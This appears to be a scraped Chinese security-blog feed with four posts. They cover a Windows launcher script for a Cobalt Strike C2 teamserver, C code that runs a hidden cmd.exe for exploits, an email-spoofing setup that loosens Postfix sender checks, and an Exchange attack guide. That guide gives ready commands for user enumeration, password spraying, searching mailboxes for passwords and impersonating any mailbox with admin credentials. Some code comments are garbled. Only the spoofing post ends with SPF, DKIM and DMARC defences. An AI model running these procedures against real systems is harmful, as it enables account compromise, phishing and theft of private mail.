$
0
0

CS的teamserver经常是在linux服务器上跑的,有小伙伴问在win server上怎么跑,所以弄了一个批处理,需要的看着改改,win上面需要装java JDK,win上默认没有keytool,所以需要自己去生成一个cobaltstrike.store ~

@echo off   
:check_java
    java -version >nul 2>&1
    if %errorLevel% == 0 (
        goto:check_permissions
    ) else (
        echo [-] is Java installed?
        goto:eof
    )
    
:check_permissions
    echo [+] Administrative permissions required. Detecting permissions...
    net session >nul 2>&1
    if %errorLevel% == 0 (
        echo [+] Success: Administrative permissions confirmed.
        goto:check_certificate
    ) else (
        echo [-] Failure: Current permissions inadequate.
        goto:eof
    )

:check_certificate
    set certificate=".\cobaltstrike.store"
    if exist %certificate% (
        goto:test_arguments
    ) else (
        echo [!] Please generate the cobaltstrike.store !
        echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
        goto:eof
    )
    
:test_arguments
    set argC=0
    for %%x in (%*) do Set /A argC+=1
    if %argC% LSS 2 (
        echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
        echo     ^<host^> is the default IP address of this Cobalt Strike team server
        echo     ^<password^> is the shared password to connect to this server
        echo     [/path/to/c2.profile] is your Malleable C2 profile
        echo     [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
        goto:eof
    ) else (
        goto:run_cobal
    )
:run_cobal
    java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*

90107-dm8rzqvop8m.png

匿名管道读取CMD回显信息

$
0
0

最近改exp的时候用到的,加到exp里面回显执行信息,保存一份~

#include <windows.h>
#include <stdio.h>
#define EXE_NAME    NULL//TEXT("Cmd.exe")
#define EXE_CMD     TEXT("Cmd.exe /C ipconfig/all")
int main()
{

        char Buffer[4096];
        STARTUPINFO sInfo;//新进程的主窗口特性
        PROCESS_INFORMATION pInfo;
        SECURITY_ATTRIBUTES sa;
        HANDLE hRead, hWrite;
        DWORD bytesRead;    //读取代码的长度
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);/ /结构体的大小,可用SIZEOF取得
        sa.lpSecurityDescriptor = NULL;//安全描述符
        sa.bInheritHandle = TRUE;;/ /安全描述的对象能否被新创建ÆÆ的进程继承

        if (!CreatePipe(&hRead, &hWrite, &sa, 0)) //创建匿名管道
        {
            return GetLastError();//返回最近的一个错误,0表示正常
        }

        GetStartupInfo(&sInfo);
        sInfo.cb = sizeof(sInfo);
        sInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        sInfo.wShowWindow = SW_HIDE;
        sInfo.hStdError = hWrite;   //将管道的写端交给子进程
        sInfo.hStdOutput = hWrite;
        memset(&pInfo, 0, sizeof(pInfo));

        if (!CreateProcess(EXE_NAME, EXE_CMD, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo)) //创建子进程
        {
            CloseHandle(hWrite);
            CloseHandle(hRead);
            return GetLastError();
        }
        CloseHandle(hWrite); //关闭父进程的写端

        
        for (int i = 0;; ++i)
        {
            if (!ReadFile(hRead, Buffer, sizeof(Buffer) - 1, &bytesRead, NULL)) //读取内容
            {
                break;
            }
            Buffer[bytesRead] = 0;
            printf("%s\n", Buffer);

        }

        WaitForSingleObject(pInfo.hProcess, INFINITE);//当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限;
    CloseHandle(hRead);
    system("pause");
    return 0;
}

from: http://www.cnblogs.com/onlyac/p/5346478.html

Something about email spoofing

$
0
0

0x00 这是个啥?

一般来说,我们收到一封邮件之后,都会首先看发件人,如果是比较重要的邮件,我们可能会去看发件人地址,但是,如果发件人是伪造的,你还能知道是谁再给你发邮件么?
当我们在谷歌搜索发件人伪造的时候,可以看到很多很多的网站提供了这样的功能:
1539051635438.png

这些网站没有测试,不知道能不能成功伪造。

那到底是什么导致的发件人伪造呢?下面我们来分析分析造成发件人伪造的成因。

0x01 SMTP是什么?

要想了解成因,我们需要首先了解一下什么是SMTP,首先先了解一下几个概念:
MUA:Mail User Agent。用户邮件代理,用户通过MUA接收发送邮件.例如Outlook, FoxMail等。
MTA: Mail Transfer Protocol。邮件传输代理,是SMTP的一种实现,MTA仅仅负责邮件的传输。如果信件的目的地并不是本身的用户,且该封信的相关数据符合使用 MTA 的权力, 那么MTA 就会将该封信再传送到下一部主机上。这即是所谓的转递的功能。
MDA: Mail Deliver Agent,邮件分发代理。负责将接收到的邮件保存在邮件服务器上,在这里可以设置对邮件进行过滤或自动回复。
MRA: Mail Receive Agent,邮件接收代理,用来实现IMAP,POP3协议,负责与MUA交互,将服务器上的邮件通过IMAP以及POP3传输给客户端。

SMTP全称是Simple Mail Transfer Protocol,直译过来就是简单邮件传输协议,主要的工作就是把邮件信息从发件人的邮件服务器中传送到接收人的邮件服务器中,偶尔我们使用MUA来发送邮件的话,也承载传输用户邮件到发件服务器的功能,但是SMTP存在一个问题,就是没有对发送方进行一个身份验证。用下面的图来说明一下邮件的投递过程。

1539064815052.png

1、用户利用MUA寄信到MTA,这里面包含了几个项:
发信人与发信网站:例如 admin@evi1cg.me,其中evi1cg.me就是发信网站,即收信件的MTA。
收信人与收信网站:例如 admin@email.server,其中admin就是email.server里的一个账号。
2、当MTA收到信件后,会通过DNS的MX记录进行查询,如果email.server是MTA自己,此时MTA就会把邮件交给MDA处理,放置到收信者的信箱中。
3、如果email.server不是自己,那么这个信件就会被转送出去。
4、当远程MTA收到本地MTA转发的邮件后,会将信件交给它的MDA处理,等待用户的读取或下载。

正是由于MTA之间转发邮件是不需要认证的,所以这就成了可以伪造发件人的原因。

0x02 怎么搭建SMTP Server?

如何快速搭建自己的SMTP Server?这个网上有很多教程,这里为了快速搭建,可以选择使用ewomail,代码是开源的,搭建起来也比较方便,也有很好地说明文档,EwoMail是基于postfix和Dovecot,按照说明文档很快就可以部署完毕了,部署完毕以后需要添加用户账号:
1539071369229.png
之后就可以通过添加的账号来发送邮件了。

0x03 如何伪造域名?

关于伪造域名有一个很好用的工具SimpleEmailSpoofer,下面我们就使用这个工具来测试一下:

python SimpleEmailSpoofer.py -t 目标邮箱 -f 要伪造的发件人地址 -n From_name -e 邮件内容 -j 邮件主题 -s 你自己的smtp地址 -p 25 --user 你添加的用户 --pass 你添加用户的密码

1539071731274.png

在这里可以看到报错了,Sender address rejected: not owned by user xxx, 这里是postfix设置的问题。需要进行一下修改/etc/postfix/main.cf
找到smtpd_sender_login_maps,修改为:

smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre

新建/etc/postfix/login_maps.pcre

/^(.*)$/ test@yourdomain.com

意思是允许用户test@yourdomain.com的用户使用任意domain

找到smtpd_recipient_restrictions,删除reject_unknown_sender_domain,这样就不会对发送的域进行验证了。

修改完成以后,执行以下命令:

postmap /etc/postfix/login_maps.pcre
postfix reload

修改完成以后,再次发送:

1539072657218.png

查看gmail:
1539078304784.png

1539072834239.png

当然,在原始邮件里面,还是有自己的域名信息。如何尽量减少自己的信息,可以参考这篇文章

经过测试,如果收信服务器对SPF校验不通过的邮件未作处理,仍然可以伪造添加过SPF记录的域。如QQ邮箱检查SPF失败就直接拒绝接收邮件,但是gmail仍然接收。这里要注意一点,SPF中如果配置为~all,则表示为接受来信,但是做标记,QQ邮箱里就会接收到此类伪造的邮件,但是回放置于垃圾邮件里。

0x04 如何检测?

这里有一个工具可以用来检测域名是否可以被伪造:spoofcheck,使用很简单,比如baidu:
1539074907929.png

0x05 如何解决?

为了使得域名不会被伪造,需要为域名正确配置SPFDKIMDMARC。只配置SPF是不行的,关于SPF的配置可以参考这里,关于DKIM的配置,可以看这里,关于DMARC的配置可以参考这里

0x06 参考

1、https://www.jianshu.com/p/610d9bf0ae8b
2、http://lomu.me/post/SPF-DKIM-DMARC-PTR
3、https://serverfault.com/questions/318334/how-to-enforce-sender-address-to-be-logged-in-userexample-org-in-postfix
4、https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/
5、https://realtechtalk.com/Postfix_how_to_secure_outgoing_authenticated_emails_for_privacy_and_hide_the_IP_address_mailer_and_other_things-1573-articles

Exchange在渗透测试中的利用

$
0
0

0x00 Exchange简介

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

0x01 Exchange Endpoint

通常Exchange Server 有以下endpoint,即可访问的连接如下:

https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/

每个endpoint的作用如下:

endpoint 说明
/autodiscover 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp "Exchange Control Panel" Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews "Exchange Web Services" Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB "Offline Address Book" 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa "Outlook Web APP" Exchange owa 借口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powershell 用于服务器管理的Exchange管理控制台
/RPC 早期的Outlook还使用称为Outlook Anywhere的RPC交互

以上endpoint中,常用于暴力破解的有/owa 、/ews、/Microsoft-Server-ActiveSync 及/autodiscover,如owa的暴力破解(passwordspray):
抓取登录包如下:

-w1118

用户名可尝试使用domain\username、domian.com\username、username

使用某密码进行暴力破解:

-w720

/Microsoft-Server-ActiveSync 爆破为401认证,需要对用户账号密码进行base64处理:

-w647

YWRtaW46YWRtaW4= -> admin:admin

/ews/rpc 等几个endpoint同样为401认证,账号密码的加密方式为net-ntlm:

-w1264

爆破需对账号密码进行处理之后在进行。

0x02 Get UserList

验证Exchange

对Exchange的利用首先要确定其是否使用了exchange,关于判断的方式,我知道的方式有:
1、checkO365

-w682

2、owa 登录页面,如:

3、特殊域名:
访问如下域名

https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/

获取用户列表

之后我们需要获取其至少一个账号的信息,那么就需要取搜集获取某域的用户列表,除了top username进行爆破,还可以使用theharvesterMailget等工具进行搜集,另外还有一种通过延时来判断的方式。在MailSniper 写了这样几种来判断内部域和存在用户的方法:

  • Invoke-DomainHarvest
  • Invoke-UsernameHarvestOWA
  • Invoke-UsernameHarvestEAS

首先来看Invoke-DomainHarvest,这里通过了几种方式来获取内部域名,构造参数如下:

Invoke-DomainHarvestOWA -ExchHostname domian.com

脚本会构造如下url:

$OWAURL = ("https://" + $ExchHostname + "/owa/auth.owa")
$OWAURL2 = ("https://" + $ExchHostname + "/owa/")
$autodiscoverurl = ("https://" + $ExchHostname + "/autodiscover/autodiscover.xml")
$ewsurl = ("https://" + $ExchHostname + "/EWS/Exchange.asmx")

在未指定brute的情况下,脚本会先请求autodiscoverurl,若失败,再请求ewsurl,并通过请求头里面的net-ntlm数据来猜测内部域名,如:

-w1276

需要注意到是,未指定brute的时候需要更改-ExchHostname 为对应的autodiscoverurl及ewsurl

指定brute的情况下,则会使用通过时间延迟的方式来检测域名是否存在,首先会构造一些不存在的域及用户名请求owa,并记录其响应时间,之后使用构造的域字典及随机用户名来请求owa,根据其响应时间的不同来判断域及用户名,在这里有两种brute方式,第一种通过导入域名列表:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -DomainList .\domainlist.txt -OutFile potentially-valid-domains.txt -brute

第二种通过公司名称来猜测:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -CompanyName "bla bla" -OutFile potentially-valid-domains.txt -brute

获取域名之后,可导入用户名进行用户名存在检测:

Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestEAS -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile eas-valid-users.txt

PS : 作者说这个问题提交给微软以后并没有修复,但是实际测试效果并不好,但是没准碰到可以使用的情况也说不定。

当获取到一个用户的账号密码之后,可以通过Get-GlobalAddressList来获取GlobalAddress的用户邮箱地址:

Get-GlobalAddressList -ExchHostname owaurl -UserName username -Password password

-w1130

0x03 Brute Force

在这里暴力破解的地方有很多个,首先可以通过burpsuite对OWA进行暴力破解,另外就是/autodiscover/ews/Microsoft-Server-ActiveSync 等几个endpoint,可利用的工具如:MailSniperRulerSprayingToolkit,可根据个人喜好取舍。为了防止账号因多次登陆失败触发告警或账户被封禁,建议使用同密码爆破用户名的方式进行暴力破解。下面介绍一下MailSniper的相关方法的使用。

通过owa爆破:

Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname OWAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w960

通过ews爆破:

Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w964

通过Microsoft-Server-ActiveSync爆破:

Invoke-PasswordSprayEAS -ExchHostname MSAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w898

通过autodiscover 爆破:
在MailSniper中没有写对autodiscover的爆破,可以选择使用burp、ruler或者SprayingToolkit。

python atomizer.py owa autodiscoverhost password user.txt

-w747

./ruler --domain autodiscoverhost -k brute --users user.txt --passwords pass.txt --delay 0 --threads 10 -v

-w877

0x04 Search mail

在获取到某用户邮箱账号密码以后,我们可以对其邮件内容进行搜索,除了直接登录邮件外,也可以使用Exchange的接口进行邮件的检索,其接口的相关开发可以参考《Exchange Web Service(EWS)开发指南》,在外网情况下,可使用此工具来列出邮件内容。

 ./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewshost/ews/Exchange.asmx -Mode ListMail -Folder Inbox

-w959

搜索某字符串:

 ./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewhost/ews/Exchange.asmx -Mode SearchMail -String vpn

-w1439

内网情况下可使用MailSniper来快速检索,如使用xiaoming\domain用户登录某主机,可在该主机上搜索xiaoming的邮箱(不需要密码)

Invoke-SelfSearch -Mailbox user@domain.com -Terms *pass* -Folder all -ExchangeVersion Exchange2013_SP1 -OutputCsv 1.csv

-w841

如果获得了域管理员的密码,可以检索任意邮件的内容:

Invoke-GlobalMailSearch -ImpersonationAccount beiguoxia -ExchHostname Exchangehostname -AdminUserName domain\administrator  -AdminPassword password -Term "*pass*" -Folder all

1547034512542.jpg

检索可使用-Term或者正则-Regex来指定关键字,-ImpersonationAccount用于将当前用户身份合法伪装其他邮箱用户,进而获得查询所有邮箱用户邮件的权限,如果查询失败,可以尝试添加-ExchangeVersion更换Exchange版本,目前支持版本为Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013,Exchange2013_SP1

0x05 后渗透

在获取一个用户的账号密码之后,如何进入内网?这里有一个神器Ruler,在Outlook中有一个Rules and Alerts的功能,利用此功能,可执行一些特定的如执行命令等操作,关于ruler的具体使用,可以参考相关文章,另外在内网中,如何去发现Exchange服务器,如何使用NTLM中继来接管某用户邮箱的权限,这些内容在《深入Exchange Server在网络渗透下的利用方法》中有了很详细的讲解,在这里就不多做阐述。

另外需要补充一点可能有用的东西,Exchange安装以后会创建一个Organization Management 安全组:

-w650

该组内的成员除了访问Exchagne设置外,可以修改其他Exchagne安全组的成员身份,如Exchange Trusted Subsystem,此组为Exchange Windows Permissions的成员

-w477

默认情况下,Exchange Windows Permissions安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升,详细的文章可以参考《Escalating privileges with ACLs in Active Directory》

0x06 总结

本文记录了我自己对Exchange在渗透中的利用的一些方式的总结,欢迎补充,更详细的内容可以查看参考的文章。

0x07 参考

  1. https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0
  2. https://www.blackhillsinfosec.com/password-spraying-outlook-web-access-how-to-gain-access-to-domain-credentials-without-being-on-a-targets-network-part-2/
  3. https://3gstudent.github.io/3gstudent.github.io/Exchange-Web-Service(EWS)%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/
  4. https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
Browsing latest articles
View live




Latest Images

Vimeo 10.7.0 by Vimeo.com, Inc.

Vimeo 10.7.0 by Vimeo.com, Inc.

HANGAD

HANGAD

MAKAKAALAM

MAKAKAALAM

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Vimeo 10.6.1 by Vimeo.com, Inc.

Vimeo 10.6.1 by Vimeo.com, Inc.

Vimeo 10.6.0 by Vimeo.com, Inc.

Vimeo 10.6.0 by Vimeo.com, Inc.